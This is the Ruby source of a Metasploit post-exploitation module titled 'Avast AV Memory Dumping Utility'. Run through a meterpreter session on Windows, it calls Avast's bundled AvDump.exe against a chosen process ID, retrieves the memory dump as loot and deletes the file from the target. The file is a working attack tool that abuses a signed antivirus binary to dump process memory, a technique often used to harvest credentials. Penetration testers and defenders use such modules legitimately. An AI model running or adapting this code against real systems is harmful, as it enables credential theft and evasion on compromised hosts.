DLL_Cool_J
55 lines
1.8 KiB
Ruby
55 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rbconfig'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Avast AV Memory Dumping Utility',
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'Description' => %q{
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This module leverages an Avast Anti-Virus memory dump utility that is shipped
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by default with Avast Anti-Virus Home software suite.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'DLL_Cool_J' ],
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'Platform' => [ 'win'],
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'SessionTypes' => [ 'meterpreter']
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))
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register_options ( [
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OptString.new('PID', [true, 'specify pid to dump' ]),
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OptString.new('DUMP_PATH', [true, 'specify location to write dump file to', "C:\\Users\\Public\\tmp.dmp"])
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])
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end
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def avdump_exists?
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file_exist?("C:\\Program Files\\Avast Software\\Avast\\AvDump.exe")
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end
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def run
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fail_with(Failure::NotVulnerable, 'AvDump.exe does not exist on target.') unless avdump_exists?
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print_status('AvDump.exe exists!')
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dump_path = datastore['DUMP_PATH']
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pid = datastore['PID'].to_s
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print_status("Executing Avast mem dump utility against #{pid} to #{dump_path}")
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result = cmd_exec("C:\\Program Files\\Avast Software\\Avast\\AvDump.exe --pid #{pid} --exception_ptr 0 --thread_id 0 --dump_file \"#{dump_path}\" --min_interval 0")
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fail_with(Failure::Unknown, "Dump file #{dump_path} was not created") unless file_exist?(dump_path)
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print_status(dump_path)
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mem_file = read_file(dump_path)
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store_loot("host.avast.memdump", "binary/db", session, mem_file)
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print_status(result)
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rm_f(dump_path)
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end
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end
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